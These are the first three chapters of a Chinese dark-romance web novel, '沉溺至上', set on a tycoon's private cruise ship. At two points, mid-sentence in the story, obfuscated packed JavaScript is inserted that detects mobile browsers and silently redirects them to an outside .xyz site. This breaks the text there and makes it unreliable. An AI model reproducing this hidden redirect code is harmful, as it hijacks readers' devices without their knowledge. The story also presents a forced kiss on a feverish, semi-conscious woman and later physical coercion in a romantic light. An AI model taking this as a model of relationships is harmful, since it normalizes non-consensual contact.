《沉溺至上》 1. 伤口 游轮停留在海洋深处,随着漾起的波浪摇晃。 舱室内黑暗静谧,水汽缭绕。 宋洛允胡乱吞下一片退烧药,整个人蜷缩在沙发上,胸脯随着剧烈心跳起伏。 朦胧间,听到门口几阵对话。 “他刚才是不是往这走了?” “傅总吗?他就在后边。” “嘘,别被他听见了,我偷偷跟过来的。” 生理性地,寒意从头蔓延到脚。 宋洛允心里闪过一句话:门,好像没锁。 药物慢慢作用,她的意识被吊在边缘,难以动弹。 很快。 房门被推开,走廊的冷光从缝隙里挤入。又被关上,反锁。 伴随几句呢喃: “他怎么会进去那里?” “那好像是一个女生的房间。” “他进了女生的房?” 脚步声阵阵靠近,带着凉意的手背落在她的额头,停顿许久。 她缩了缩,努力睁开眼睛,只能看见隐约的人影,身躯颀长,沉默地站直。 “傅泽鸣?”她很轻地喊了个名字,没有得到回应。 沉寂中,双眼慢慢闭上,感官逐渐放大,才捕捉到空气中龙涎香混合着烟熏味的气息。 他不是傅泽鸣。 气息愈发靠近,带着微妙的诡谲,挡住她视角里所有光线。 宋洛允努力抬起沉重的手,试图把自己藏进薄被里。 下一秒,手臂被制住。 龙涎香味越来越浓烈,似有块冰在面前炸开。 唇被柔软与湿意覆盖,令人发怵的味道就在鼻尖。 “唔——” 恐惧袭来,心脏跳得猛烈,她紧咬牙关,浑身写着抗拒。 手腕被越拽越紧,她无法动弹,连呼吸也被抑住。 一阵痛感出现,血腥味在唇边扩散。 气息散开,房门推开又被关上,才回归平静。 - 宋洛允醒来的时候,手机铃声已然重复了两个来回。 努力睁开眼睛,强烈的刺眼光线袭来,过了好一会才伸手,接通电话。 男声在浑厚的重金属声中夹缝出现:“你去哪了?我一个晚上都没找到你。” “我在——” 只张嘴说了两个字,唇边被拉扯的痛感袭来。 懵了一瞬。 她抿唇舔了舔,已经结痂了。 “喂?”那头的人抬高音调。 宋洛允挂断电话,改为打字发送:【你们在哪?我去找你们。】 信息秒回,她瞥了眼,支起身子坐直。她大概烧已经退了,精神恢复许多,就是嘴边多了个来历不明的伤口。 用水冲了冲,出门。 她身处于一艘举办私人派对的游轮上,此刻夜深,抬头只有虚无的海洋。只要大自然灵机一动卷起一朵庞大的浪花,那么此刻再堆金积玉的人都将被吞没。 宋洛允刚进入长廊,刺骨的海风冻得她一个激灵,便回去多套了件衣服。 当再次推门时,耳侧陡然听见几阵异常。 起初没听清楚,再往前几步。 肢体碰撞声、喑哑低语、沉闷的喘息。 呼吸不自觉放缓,顺着声音来源看过去,有两个人在甲板昏暗处尽情。 夜晚的休息区几乎没人经过,所以这似乎为那两人创造了良好的环境。黑暗里仅有的声音很明显,散落一地的衣物被海风吹起,又落下。 宋洛允打算快速经过。 但不巧,她刚进入走廊,感应灯“啪”地一下,整排都被点亮,光线直直洒向忙碌中的两人。 “草,有人。” 视野瞬间清晰,灯光下,三双眼睛面面相觑。 她顿住脚步,看清楚正慌乱拾起衣物的两人。 那男的她见过,名叫刘叶衫,是个演员,最近因为好丈夫人设偶露头角。至于那女人,前一日在晚宴上身姿轻盈地舞动,当时自我介绍说叫潘蓝樱,她并不是网传的刘叶衫的妻子。 意识有些唐突,她错开视线,转身。 “等一下。” 男人的声音将她唤住。 落在头上的光线被遮挡,宋洛允回头时刘叶衫朝她走来,他已经穿戴整齐换上一副严肃的表情。 “你都看见了?”刘叶衫皱眉,语气强硬。 宋洛允没想回应,男人下一句话急切出现:“说吧,要什么条件?” “什么意思?”宋洛允皱眉。 “别装傻,你我都是聪明人,大费周章跑到这来无非就是要钱,直接给个数吧。”刘叶衫说。 “我不会往外说的,你放心。”宋洛允不想跟他多做纠缠,便说。 刘叶衫沉默片刻,眼神在她身上移动,大概确定她不是狗仔,方说:“这件事如果有第三个人知道,我不会给你好果子吃的。” 他警告,眼神恶狠狠,话落后咬牙转身。 他事业被雪藏多年,好容易最近迎来上升期,倘若在这个时候闹出丑闻,那他在圈子里面肯定混不下去,他必须铲除一切对他有威胁的事物。 他以为这样能够震慑住对方,没想到在行走几步后忽然顿住,盯着黑暗处的另一个身影,一时不知所措。 “傅、傅总……”颤颤巍巍的声音扩散在环境中。 宋洛允看过去。 也跟着迟钝了几分。 谁都没注意到在黑海面前还有一个人,身体颀长姿态慵懒,斜倚护栏,风衣被海风缓缓掀起,只有指缝间的火光随着他的动作微弱地点亮他的轮廓。 “傅总,您怎么会在这?”刘叶衫故作亲近地说。 他是怕他的,谁都不知道他出现在这多长时间,倘若惹了他,那他肯定再无翻身机会。 当下,他唯一能想到的解决办法就是巴结他。 “出来抽根烟,透气。”被呼唤的人有淡淡笑音,说话时眼神朝某处一瞥。 宋洛允稍稍握拳,手很冰。 “这样啊,我也出来透气来着,这雾气有点重,什么都看不见……您说是吧。”刘叶衫开口,声音是颤抖的。 男人依然笑着,尚未回应。倒是一旁始终没说话的女人身体突然往下滑,浑身发抖:“傅总,我、我只是一时鬼迷心窍,能不能求您别跟老板说……” 潘蓝樱是个尚未出道的练习生,所签约公司与傅氏有合作,大概是害怕因此影响了自己的前程。 闻言,刘叶衫咬牙拉了拉她,眼神带着些不耐。 而女人依然急于请罪:“我发誓,不是我主动的,我一向很珍惜自己的羽毛,我也是被欺骗的……” 刘叶衫一听,瞬间急了:“你什么意思?明明是你勾引的我,你现在好意思说这些?” “是你……” “够了。” 男人终于开口说话,眼神却落在宋洛允身上:“一人一套说辞,我该相信谁?” “我……”潘蓝樱还想说话。 刘叶衫才想起还有一个人的存在,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171348|180684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而换上阿谀的表情,“刚才怕是有点误会,我把这位小姐当成是狗仔了。”接着再对宋洛允说:“我道歉,刚才……什么都没发生对吧。” 瞬间,宋洛允成了这场闹剧的中心人物。 她往后退了一步,手紧紧攥成拳:“我什么都不知道。” 她想走,余光里男人耸肩,意思是无可奈何。这下那两人更慌了,急于在宋洛允面前刷存在感。 “你别走啊,我是做得不对,但我已经知道错了,你能不能帮我说几句话?”潘蓝樱拉住她的胳膊,细细哀求,“我真的、真的不能失去这一切,我为了出道付出了很多,明明练习了近十年。” ——但跟她有什么关系? 宋洛允唇色发白。 男人女人的声音刺得她发胀,略微一抬头会看见那个人的表情,悠然地看戏,轻而易举将她拉入局。 “这是你们的事情,该找谁就去找谁,你再怎么拉着我都没用。”她说,狠心甩开潘蓝樱的手。 她往后走,发昏的脑袋让她难以分辨后方的情况,只隐约捕捉到男人说了句话,那两人连连应和。她渐行渐远,逐渐恢复平静。 宋洛允站在甲板,走入了死路。 这艘游轮是刚建成的,她没来过,从甲板进入中庭只有一条道路。 她走反了。 找了个位置坐下,安静吹了会风,发烧过后是漫长的感冒期,海风再怎样都暖不了。越坐越冷,挨不住时才起身往回走。 原以为这会已经没有人了,没想到进入主走廊时熟悉的光线点亮,空旷的视野连接到船艉。那个人仍然站在那。 周遭氛围安静,微小粉尘在空气中漂浮,两束视线在沉默中升温。宋洛允顿了顿,低头从他身边路过。 耳侧传来打火机点燃的声音,靠近男人时那股烟熏味尤其重。 她不语,男人吸了口烟,主动出声:“不打招呼?” 宋洛允只能停下脚步,回头:“傅大哥。” “嗯。”傅淮之抖了抖烟灰,隔着一段距离同她说话,“刚才去哪了?” “就在那边坐着。”宋洛允说。 “不冷?” “不冷。” 他问一句,她答一句,像不熟人之间的寒暄。 傅淮之又抽了口烟:“烧退了?” “嗯。”宋洛允默契得不提他为什么会知道她发烧。 也默契得不将唇角的伤口展现在他面前。 “现在去哪?”傅淮之继续问。 宋洛允回答:“随便走走。” “一起吧。”他说。 她改口:“我去楼上。” 宋洛允走到电梯口,玻璃门里倒映着的身影掐灭香烟,瞥了她一眼,她回避了视线,他走到她身边。 电梯门打开,她进去靠在角落,男人后脚踏入,风衣衣摆撩过她脚踝。电梯门关闭,玻璃上依旧映着两人的脸。 四层电梯显得很漫长,狭小的空间内只有两人的气息缠绕,很浓的香烟味,还有龙涎香,侵蚀着神经。 “噔噔。” 他的手机忽然响起,铃声是手机原始的音乐,尖锐的短笛一声接一声,莫名让人心慌。 他只看了一眼,但没接,任由响声持续。 宋洛允摁着指节,只觉得那铃声像是在敲她的头皮,令她发麻。 电话再响了一次,宋洛允盯着微微打开的电梯门,如释重负般转身点下头,快步进入尽头的主会场。 男人在原地站了许久。 2. 奢靡 午夜的派对向来是最热闹的环节,躁动的音乐、欢呼的人群,充斥着各式各样的景象。 宋洛允绕了一圈,有些人主动找她搭讪,她脑袋还是晕乎乎的,在舞池最中心的卡座坐下。 在她来之前,这桌有五个人,唯一的女生正与距离她最近的男人咬纸巾,互抱着脖子举止亲昵。 她的出现并没有影响他们的雅兴,女生抬眸瞥了她一眼,笑着松开纸巾,撩了撩头发:“晚上偷腥去了?” “没,睡着了。”宋洛允轻描淡写。 “你别告诉我你嘴边那个是睡死了自己咬的。”傅乔映揽着男人。 宋洛允利用头发挡住唇角,没话说。 傅乔映笑得更大声,兴许是心情好,伸手抵着男人的下颚吻了一口。 同时说:“大方承认呗,大家都被困在这艘游轮里,只能靠男人女人来消磨时间,现在再亲密,出了这里就有多陌生,你不觉得很刺激吗?” “也没见你出去后跟他们有多陌生。”宋洛允伸手拦住服务生,要了杯热水。 傅乔映专门从男人腿上离开,坐在距离宋洛允最近的位置,亲昵地搂住她的腰:“别总是端着这副纯真的表情,男人会认为你很好拿捏。” “……妖精。” 宋洛允默默将紧贴着她的手扯下来,傅乔映这人平时还算正经,喝了酒便变得轻浮。 傅乔映身为傅家为数不多的女生,在名利场上不受重视,但活得潇洒自在,拿着七位数的零花钱,只要不败了傅家名声,想干什么能干什么,乐在其中。 她们认识一年多,基本每次见到她都在酒吧。养尊处优的大小姐没有其他爱好,就喜欢喝酒与玩男人。 傅乔映举着酒杯与她的热水碰了碰:“你来之前应该知道这里是傅淮之的私人游轮。” 宋洛允“嗯”了声。 “你知道他办这场派对的目的只是给这些男人女人提供一个可以理所应当地寻欢作乐的机会吗。” 傅乔映掰着手指,“名誉、地位、金钱他都有了,就从其他事情寻找乐子。他喜欢这些原始的、肮脏的。” “他是个疯子。”宋洛允说。 “你说对了,他有病,你要不也别让他失望。”傅乔映哈哈大笑,悄悄往她的口袋里塞了个东西,在她耳侧吐气:“试试呗,离开这里就忘了,女人要把主动权掌握在自己身上,噢,傅泽鸣来了。” 宋洛允垂眸向下看,蓝色包装袋,是个避孕套。 “……”骂人的话到嘴边,偏偏傅乔映坦然看着她,眼神里明显写着:“我也是个疯子。” 是啊,她姓傅,傅家没有正常人。 “你又在做什么小动作。”傅泽鸣过来倚座在沙发扶手,手臂搭着宋洛允的肩膀。 宋洛允不动声色往前坐,避开肢体接触。 傅乔映秒换上人畜无害的表情,转身无辜地盯着他,“我玩我的男人啊,你怕我带坏她啊?” 话落,又微微一笑:“放心,她清高着呢,我带不坏。” 傅乔映是傅泽鸣的堂妹。傅家最在意年序权威,年龄差距摆在那,她从小被他们管着,总归有点怵。 傅泽鸣一来,她明显收敛很多,往旁挪了挪,腾出空间给他们。 “她跟你说了什么?”傅泽鸣顺势坐下,手臂又搭在宋洛允身后。 “就那些话,没个正形。”宋洛允将口袋里的东西往里塞,收紧,“你去哪了?” “接了个电话,我大哥那有点事。”傅泽鸣朝她身边坐了坐,“对了,你今晚有看见他吗?” “没。”宋洛允抿了口水。 “见谁,傅淮之?”傅乔映将头探过来。 “嗯。” “你没看见他?刚才你们从同趟电梯出来。”傅乔映看着宋洛允,但又觉得宋洛允与傅淮之不会有接触。 “噢,是,我忘了。”她轻描淡写。 “也正常,你应该没见过他吧,他很好认,人群里身材最硬、气质最好的人就是他。”傅乔映说,“不过你还是别认识的好,他那个人做事不折手段,像你这样的小白兔只会被吃得连渣都不剩。” “……” “傅乔映,别说瞎话。”傅泽鸣不喜欢有人开这种玩笑。 傅乔映吐了吐舌头,也是,能啃掉小白兔的人只能是傅泽鸣。 她继续说:“傅大哥出了什么事?听我哥说,他打算结婚了?真的假的?” “不知道,今天联系不到人。”傅泽鸣揉了揉太阳穴,看向宋洛允。 她总是一副淡然表情,似乎对他家的事一点兴趣都没有。 有些烦躁,他主动解释:“大哥这两年拒绝了很多共赢的联姻对象,但昨晚莫名其妙给年叔打电话,意思是有结婚打算,对方并非名门望族出身。如此一来家里乱成一锅粥,他却没了消息。” 杯中的水凉了,宋洛允却没察觉到,喝了一口,冷得她瞬间清醒。 “昨晚?”傅乔映挑眉,“昨晚他一直在8楼吧,没准是与谁春宵一刻,从而迷乱了心智。” “大哥他不是那么没有分寸的人。”傅泽鸣将酒一饮而尽,眉眼染上不满。 傅乔映反而笑了,小声同宋洛允说,“傅家最近准备挑选继承人,傅淮之是大伯家唯一有竞争资格的人,他要是在这个节骨眼出了事情,他们全家都完蛋。” 这个阶段是整个傅家最乱的时候,唯有傅乔映能坐着看戏,她的父亲排行老幺,生的孩子里只有一个男孩,还不学无术,没有任何竞争优势。他们一家早淡泊名利,拿着分到的家产足够他们挥霍几辈子。 “别说了。”豪门肮脏,傅泽鸣不希望宋洛允接触太多。 又喝了一杯酒,这回尽量让自己的态度更温柔,对宋洛允说:“昨天喝醉后没有好好保暖,着凉了吧。” 宋洛允避开他的眼神,随口应了句:“你怎么知道?” “你脸色这么白,一看就是。”傅泽鸣抬手,试图试探她的体温。 宋洛允却往后躲。 旁边傅乔映看着他们,莫名笑了两声,张了张嘴刚想说话,未曾想先瞥见后方的人,吓得瞬间收起所有表情,转身灵活逃走。 宋洛允还惊讶于她过于熟练的动作,转眼发现有光线被挡住。再一看,悍利铮然的轮廓停留在眼前。 昏暗中视野从模糊到清晰,那人嘴角带着友好的笑,但那深邃的眉眼定格在与宋洛允仅有咫尺的手上,陡然带着不寒而栗。 “大哥。” 傅泽鸣若无其事放下手,姿态端正喊了句。 宋洛允随着他一起,转身坐稳,手臂不自然地撑着自己,与傅泽鸣拉开距离。 “怎么我一来反倒打扰你们的兴致。”他明知故问似的,噙着笑意绕到前面坐下。 偌大的沙发因为傅乔映的离开有了大片空位,宋洛允与傅泽鸣坐在边缘,傅淮之顺理成章留在宋洛允的另一侧,与她大概只有一公分的距离。 他故意坐得离她很近。 衣服会相互摩擦,稍微一动,他的身体会碰到她的腿。 宋洛允低头,手中紧握水杯。 “没有,我们都是随便聊聊。”傅泽鸣说,他的表情也有些不自在。 傅淮之手臂搭在微敞的腿上,弯腰,越过宋洛允同傅泽鸣说话:“你刚才找我?” 而她一动不敢动,两个人的眼神都在她身上。 “是爸的电话。”傅泽鸣调整好自己的状态,随着他略微低着腰说话。其实他也注意到了,傅淮之距离宋洛允很近,不知是巧合还是怎样。 他问:“年叔找过您了吗?” “嗯,一些小事。”傅淮之淡淡说。 “是跟您婚事有关的事吗?”傅泽鸣犹豫片刻,还是问。 傅淮之忽然一笑:“是。” 他手里握着服务生送来的酒,但不知道是什么时候喝下去的,此刻里面只剩下冰块,他喜欢慢慢摇晃,碰撞发出尖锐的响声。 宋洛允感觉自己像他杯中的冰块,明明想握住支撑点,却在晃动中一次次脱手。 “……之前没听你们提过有合适的对象。”傅泽鸣有心事,多问了句,“是爸选的人吗? “不,但怕是要让你们失望了。”傅淮之慢条斯理地说。 “为什么?”傅泽鸣一怔。 傅淮之偏头,他与傅泽鸣中间还隔了位宋洛允,当下分不清是在看谁。 神色不变,带着戏谑意味地说:“被甩了。” “咳咳……” 傅泽鸣猝不及防被刚到嘴边的酒猛呛。 谁敢甩了大哥? 宋洛允抽了张纸巾给他,慢慢擦拭沙发上留下的酒渍,垂落的头发恰好盖住不够自然的神情。 “大哥,您认真的?”傅泽鸣憋了半天才能问出这句话。 “婚姻本是你情我愿的事情,每位女性都有自己的想法,我无法绑架所有人。” 傅淮之忽然说:“是吧,宋小姐?” 宋洛允背对着他,紧紧拽住纸巾。 意识到不能不回答时,才出了个很微弱的音:“嗯。” 傅泽鸣抿唇,他只觉得傅淮之话里有话。 他跟傅淮之是同父同母的亲兄弟,但接受的是全然不一样的教育,他自由松散,而傅淮之从小被家族长老以准继承人培养,性格更果断冷冽,他们关系生疏,并不是能笑谈八卦的关系。 但其实他被“甩”是件好事。 至少他不会为了一个来路不明的女人与傅家抗衡,他的准继承人身份不会被取代。 傅淮之唇边始终保持着优雅的弧度,仰头将杯中的酒倒入口中,放下,起身体面礼貌地说:“你们玩。” 宋洛允脑子里闪过三个字:笑面虎。 他离开后周遭空气才得以放松,傅泽鸣视线紧跟他,刚松了口气,后头傅乔映不知从哪蹦出来,眼尾悬着八卦。 “傅淮之刚才说什么让你这么惊讶?”她问。 傅泽鸣瞥了她一眼:“你现在敢这么喊他,刚才干什么去了?” “跟你无关的事情,你别管。”傅乔映平时不拘惯了,但也只敢在背后议论,在傅淮之面前乖得像只树懒。 好奇抵过所有情绪,她迫不及待:“快说,他是不是要结婚了?” “不,应该没有。”傅泽鸣没多说。 “本来说得那么认真,却忽然变卦。”傅乔映打了个响指,“总不会是他单相思吧!” “……你瞎猜什么。”傅泽鸣揉了揉眉心。 傅乔映平时做事没轻没重的,嘴里藏不住事,最怕她一个不注意把大哥的事情抖出去。 “看来我猜对了。”傅乔映跳到宋洛允身边,尤其兴奋,“像傅淮之这种资本兽王,想傍上他的人多了去了,但他早看腻了那些千篇一律的嘴脸,喜欢的就该是对他没兴趣的人。” 她的兴致越来越高涨:“没想到他也会为情所困,不妨来猜一猜那个人会是谁,首先得是昨晚跟他在一起的人……宋洛允!” 傅乔映突然喊她,宋洛允毫无防备,瞪着眼睛看向她。 “你昨晚也没在这,干什么去了?”傅乔映满脸坏笑。 “……我没跟他在一起。”她连忙否认。 “我又没这么说。”傅乔映盯着她。 宋洛允深深吸气,只能靠下垂的眼睑掩盖住情绪。 傅乔映只能把她的异样认为是生病。 “你脸色好白,没事吧?” “没事,有点头晕。”宋洛允摸了摸自己的脸,“你们继续聊吧,我先回去了。” “行,那你注意休息。”傅乔映挥了挥手。 旁边的傅泽鸣已然站起来:“我陪你吧。” “不用。”宋洛允说。 傅泽鸣还想说话,宋洛允已经走了,后边傅乔映同时阻止:“算了吧,她想要清净。” “她吃药了吧。”傅泽鸣顿了顿,还是坐下,发条短信叮嘱她。 “当然,她又不是傻。”傅乔映又倒了杯酒,把抱枕捞在怀里,接着说,“你又做什么惹她生气的事了?” 傅泽鸣目光黯淡,望着宋洛允离开的方向,烦躁地点了支烟。 傅乔映搭着腿,慢悠悠地看着他的表情变化,便知道她的猜想是正确的。 她说:“早就告诉过你了,别看她表面人畜无害,其实脾气硬得很,你把她逼急了,她只会离你越来越远。” …… 宋洛允头突突痛得剧烈,进去里面转一圈出来更难受了。 尽管如此,她依然站在风口,任由冰冷的海风拍打她的身体。 这一晚发生的事情太多,逐渐令她招架不住。 这会已经是午夜,但游轮中庭处来来往往的人数不胜数,这里的夜晚比白天热闹得多,仿佛此刻才是野性的开始。 担心再遇到不该遇见的事,她眼睛压根不敢往旁边多看,径直穿过人群密集处,进入电梯间。 正如傅乔映所说,这是傅淮之的私人游轮——共14层甲板,中庭人工植上紫藤萝瀑布,舱内每处建筑无不透露奢靡。这里不对外开放,只有特殊邀请函才能过来,只要他一时兴起,他甚至可以主导这艘船一直在海上漂泊,永不返航 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171349|180684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 整个京圈人都知道傅淮之。 出生便站在金字塔尖,血脉里流的是几个世纪沉淀的贵族基因,他是被整个家族挑中的人,轻而易举得到无数人费尽心思攀登的东西。 以至于他们不惜代价都想拥有这里的入场券。 电梯门打开,宋洛允下意识进入,到电梯门关上时才发现这是往上的方向。 一路无阻,停在最高层,门推开刹那宋洛允察觉到门口那人的存在,但已经来不及了。 清凉的空气又被专属气息强势驱逐,连一个黑黢黢的影子都具有压迫感。他的眼神落在她身上,走进电梯,在她斜后方。 宋洛允往旁侧了一步,关闭电梯门。 按键迟迟没有人点击,电梯在顶层停了许久,宋洛允才反应过来。 伸手,又在楼层旁犹豫,最后还是停在5层。 5层是最热闹的区域,只要人多就不会有什么事发生。 她刚准备摁下。 伸过来的手先她一步点了8楼。 “聊聊。”后边的人说。 宋洛允盯着看了会,手同时摁下:“傅大哥,我今天不太舒服,想回去休息了。” “还是你想让我去你房间?”傅淮之平静得像是在说笑。 “我真的……”宋洛允依然想拒绝。 男人不给她任何退路:“去人群密集处聊也行。” 电梯到达8层,这里是整艘游轮最豪华的舱房,是傅淮之的私人区域。他伸手挡住电梯,他们不下去,电梯不会往下走。 “傅大哥。”宋洛允眼眶陡然有些发红,“有什么事您现在说吧。” “你是在同我商量?”傅淮之安静地站着,室外的风吹入电梯间,他的衣角轻轻掀起。 他做事始终很强硬,只要他想阻挠,就无人能从他手上脱身,更何况是她。 宋洛允抿唇,她不是他的对手,僵持下去对她没有好处。 他耐着性子重复:“进来吧。” 宋洛允低着头前行一步,浓烈的酒精味充斥鼻腔。她几乎屏息从他身边穿过,站在被海风裹挟的边缘。 这里与其他楼层的布局不同。 中央是挑空环形走廊,是个绝佳的观景位,整栋楼仿佛被剖开展示,水晶吊灯将每一处转角、每个人的动态如数尽收眼底,这里的所有都是纯手工打造的,因为它的主人只痴迷于极度奢靡的事物。 宋洛允与这里格格不入。 紧紧握住栏杆,深吸一口海风,方说:“您有什么事吗?” 傅淮之燃了支烟,很自然地站在她身边,如好友间问候:“为什么要用‘您’?” 宋洛允抿唇不语。 这里能看到楼下,同样的,楼下的人抬头也能看见他们。 想到这,面前如同有千万根针抵着她,她不想在这待着,但也不敢走。 “嗯?”傅淮之没等到回答,再平静地发出一个音。 “我。”喉咙是苦涩的,宋洛允连呼吸都是颤抖的,“我不敢不尊重您。” “不敢?”傅淮之慢条斯理复述她的话。 却说:“昨晚的你不是这样的。” 楼下人来人往,有人不经意间往上瞥,发现不对劲似的,刻意回头。 宋洛允被惊到,猛地转身,面对的却是另一张令她恐惧的脸。 傅淮之顺着往下看,唇角忽而弯了弯,眼神再落在宋洛允身上。 炽热的、猖狂的,打量着她。 “这里。”他将左手落在她的额头处。 “还有这里。”右手放在她的腰间。 这样的距离让他们离得过于近,他的鼻息洒在她的额头,烫得夸张。 而他却在欣赏,享受因为他战栗的人。 他说:“你对谁都这样?能够允许任何人肆无忌惮地碰你?” “不、不是。”宋洛允害怕到眼眶泛了红,她想后退,但已经没了退路。 “不是?”他喜欢用他的语气重复她的话,“那你今晚的目标又是谁?” 宋洛允摇摇头。 “说话,宋洛允。” 宋洛允很怕他喊自己的大名。 这是他生气的表现,更是种警告,直白地让耐心尽失。 “是我的,亲弟弟吗?”他说。 她张了张口,心脏疯狂跳动:“不是,我没有目标,傅大哥,我错了。” “没有目标?”傅淮之死死盯着她,却忽地一笑,“那这个是什么?” 对上那深邃的眸眼,有只手从她眼前穿过,伸入外套口袋中。她里面的衣服穿得薄,那只手隔着布料触碰到她的皮肤,很痒,她想躲,却又被禁锢在腰间的那只手拦住。 但她此刻顾及不了这些,因为意识到更恐惧的事情发生。 慌乱得试图用手阻止,但已经来不及了。 “这个就是你做错事的处理态度?”傅淮之将那个蓝色包装袋拿出来,在她面前展示。 宋洛允不知道他是怎么看到的。明明她藏在兜里最深处,明明有扣子锁住,明明那是傅乔映突然塞给她的,但他肯定无法相信她。 脑子混乱如麻,唯一想到的解决方式是逃跑,她要离开这里,她怕再这样下去会发生更不可控的事。 可她刚试图抽身,手腕又被拽住,力道大得似乎能将骨头掐碎。她痛得让眼泪不受控制地落下,另一只手用力扯才能勉强有喘息机会。 他盯着她,即使生气,音色依然平稳,一字一句,却压迫着她:“宋洛允,你今晚又打算在谁那犯错?你把我当成什么了?是你寂寞时的工具?还是你想寻求刺激时的棋子?” 宋洛允恐惧地看着他,嘴唇微微发抖。 他却抬手握住她的下颚,抬高,微湿的指腹细细摩挲她唇边的咬痕。 那是他留下的。 轻而易举潜入她的房间,留下罪证。 他说:“无论你把我当成是什么,我当真了,你应该知道我不会轻易放过你。” 船身忽然颠簸了一下,风卷着旗帜肆意拍打,不知是不是错觉,宋洛允看见那扇敞开的门里面高高挂起的,有关于她的贴身衣物。 那不是错觉。 是她留下来的,被他珍藏着。 闭上双眼,全然不敢再看,哪怕他的气息逐步加剧。 她早该知道他就是个疯子。他无法容忍任何被他打上背叛标签的行为。 他不该被招惹,她无论如何都不能跟他扯上关系。 可惜现在说不招惹有点晚。 宋洛允已经招惹过了,就在前一日。 3. 招惹 那是刚上游轮的第一个夜晚,期待与热情达到顶峰,宋洛允坐在大厅的窗前,独自喝着酒。 她心情不好,近期发生了一系列糟心事,母亲的背叛、追求者的强迫、学业的打击,在酒后都被放大,无法消化,好在她还能哭出来。 就在这个时候,她看见窗外路过的人。 他们呈现金字塔式的走位,为首的男人矜贵凌人,站在只为他聚拢的灯光下,黑色西装裹住宽肩窄腰,袖口本本分分锁住,却被崩得死紧。身边长者带着笑颜阿谀奉承,他神情淡然,稍稍抬手,面前让出了一条长道。 她呆呆地看着,眼里尽是羡慕,脑子里闪过的声音是:这样的人,不会有困扰她的那些烦恼。 眼眸往下垂,再次抬起时,她捕捉到了来自男人的注视。 视线撞上的瞬间,是呼吸停滞的瞬间,她仿佛看见那人的眼神里含着专属她的笑意,带着勾人的节奏,待她反应过来的时候男人已然若无其事地往前走,而她却乱了心绪。 眼神着急得跟着他移动,直到他消失在长廊尽头,她把桌上的酒灌入胃中,匆忙跑出去,可惜那群人已经离开了。 偏偏她正处于最纸醉金迷的时间。 在豪奢的游轮上,处处被高饱和度色彩填充,连海平面都被月光照耀得晶莹剔透。她是个俗人,身处于这样的环境下,精神逐渐变得浮躁。 她在甲板处站了一会,忽然听见耳后传来的躁动,回头时再次看见那个男人,他在茫茫人海中一眼锁定她。 宋洛允心跳得剧烈,背过身不敢再看,待到她察觉身后人群散去时才回头,光线被覆盖,男人居然来到她身边。 “为什么在这里站着?”他说,语气过分温柔。 宋洛允承受不住这种关心,轻声说:“我、吹风。” “冷的话进入室内吧,这里会着凉。”男人说。 宋洛允点点头,甚至不知道该说什么。 耳边传来嚓嚓声,她抓着衣角,看见他将自己身上外套脱下,只留下一件白衬衫,勉强包裹住内部健硕的身材。 “需要吗?”他把衣服递给她。 她摇摇头,声音很小:“不用,谢谢。” 他轻轻笑着,靠近她,将衣服披在她背后。 他头也不回地走了,留下他衣服上的味道,清冷的龙涎香,像一只潮湿的手,轻轻掐着她的魂魄,温柔地绞杀。 魂儿灭了,她像是他的追随者,关注着他直到离开,又可耻地潜入电梯间,盯着那个不断跳跃的数字停留在8层。 她站了一会,终于选择跟了上去,才发现这里并不是公共游玩区域,而是他的私人空间。 可她已经来了,这里安静又黑暗,只有从楼下传来的微弱的重金属声,影子是由月光洒下的,随时会破消散。 “有什么事吗?”背后传来的男声将她吓了一跳。 宋洛允侧过身,男人就在卧室里,原先本份系着的领带已被解开,衬衫也敞开着最上面两个扣子,袖口上挽,手握高脚杯,松散地倚靠沙发。 “我只是路过。”宋洛允连忙说,“对不起,我不知道这是您的房间。” “没关系,不用那么拘谨。”傅淮之总是一副彬彬有礼的模样,柔声说,“既然来了,喝一杯?” 或许是他的身份地位,亦或者是他过于绅士的言行举止,让宋洛允放下警惕,随着他过去。他替她拉开椅子,将毛毯盖在她腿上,没有肌肤接触,但毛毯的触感居然也让她颤了颤。 他倒了两杯酒,递给她的是少的那杯,她本就晕乎乎的,抿了几口已经不知道自己在干什么了。 傅淮之经常看着她。 就像是把她当成自己妹妹,他主动了解她的情况,从学业到生活,有时还会关注她与傅泽鸣的接触。 宋洛允没有防备心,他问,她便答,时常被他盯得脸颊发烫,只敢用余光与他对视。 事情从此刻变得不可控。 在那喝醉酒的碎片化记忆里,宋洛允借着酒意倒在他的怀里,他绅士得揽着她,她便贪婪地享受他身上的温度。 慢慢地,有了其他肢体接触,是她先主动的,他没拒绝,用温柔似水的眼神纵容她的越界。 她像是得到了鼓励,愈发变本加厉,大胆地探索他。 再次有记忆时,意识在翻江倒海中惊醒。 眼前画面从模糊变清晰,有双手在自己腰间,与她十指相扣,却有毛绒感不停蹭着她的双腿。 她才意识到自己做了什么。 脑子空白了一段时间,麻木地接受他沾着她的味道的亲吻。在即将有下一步时,她害怕得推开男人,低着头不敢面对阴沉得过分的他,套上衣物转身离开。 这件事宋洛允全然不敢回忆。 她从未做出如此出格的行为,哪怕是在醉酒后。当时太过慌乱,以至于回到卧室才发现,自己居然把内裤落在他那了。 她想过这条裤子的去向,大概会被他丢进垃圾箱里,毕竟他极其厌恶她。但绝对没有想过,它会干净地、整齐地放在那。 她不敢想,后半夜他会拿它干什么。 他比自己想象中更偏激。 宋洛允头发凌乱,领口被微微扯开,呼吸频率极快,慌乱地从8层离开。 